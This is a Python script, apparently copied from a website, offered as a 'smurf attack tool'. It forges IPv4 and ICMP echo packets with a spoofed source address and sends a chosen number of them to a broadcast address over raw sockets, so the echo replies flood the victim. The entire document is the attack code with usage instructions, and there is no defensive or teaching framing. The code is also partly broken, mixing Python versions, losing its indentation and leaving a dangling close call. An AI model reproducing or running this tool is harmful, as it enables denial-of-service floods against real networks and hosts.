Smurf attack :
Python ICMP smurf attack tool:
#huydietvn.com
import sys, socket
def IPHeader(source, destination, proto):
packet = b''
packet += b'\x45' #Version (IPv4) + Internet Protocol header length
packet += b'\x00' #no quality of service
packet += b'\x00\x54' #Total frame length
packet += b'\x23\x2c' #Id of this packet
packet += b'\x40' #Flags (Don't Fragment)
packet += b'\x00' #Fragment offset: 0
packet += b'\x40' #Time to live: 64
packet += proto #Protocol: ICMP (1)
packet += b'\x0a\x0a' #Checksum (python does the work for us)
packet += socket.inet_aton(source) #Set source IP to the supplied one
packet += socket.inet_aton(destination) #Set destination IP to the supplied one
return packet
def CreateICMPRequest():
packet = b''
packet += b'\x08' #ICMP Type:8 (icmp echo request)
packet += b'\x00' #Code 0 (no code)
packet += b'\xbd\xcb' #Checksum
packet += b'\x16\x4f' #Identifier (big endian representation)
packet += b'\x00\x01' #Sequence number (big endian representation)
packet += b'\x92\xde\xe2\x50\x00\x00\x00\x00\xe1\xe1\x0e\x00\x00\x00\x00\x00\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37' #Data (56 bytes)
return packet
def smurfattack(values):
try:
icmpsocket = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP)
icmpsocket.bind(('', 1))
icmpsocket.setblocking(0)
icmpsocket.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
icmpsocket.setsockopt(socket.SOL_SOCKET, socket.SO_BROADCAST, 1)
except socket.error:
print "You need to be root!"
sys.exit(0)
#send icmp echo request to supplied destination address with spoofed source address
try:
icmpsocket.connect((values[2], 1))
counter = 1
print "sending %d icmp echo requests to %s with %s as source" % (int(values[3]), values[2], values[1])
try:
while (counter <= int(values[3])):
icmpsocket.send(str(IPHeader(values[1], values[2], proto = b'\x01')) + str(CreateICMPRequest()))
counter = int(counter)+1
except KeyboardInterrupt :
print 'Keyboard Interrupt'
icmpsocket.close()
icmpsocket.close
except IndexError:
help_smurfattack()
sys.exit(0)
def help_smurfattack():
print "Usage: smurfattack <source IP> <broadcast address> <number of requests> "
if __name__=="__main__":
values = sys.argv
smurfattack(values)
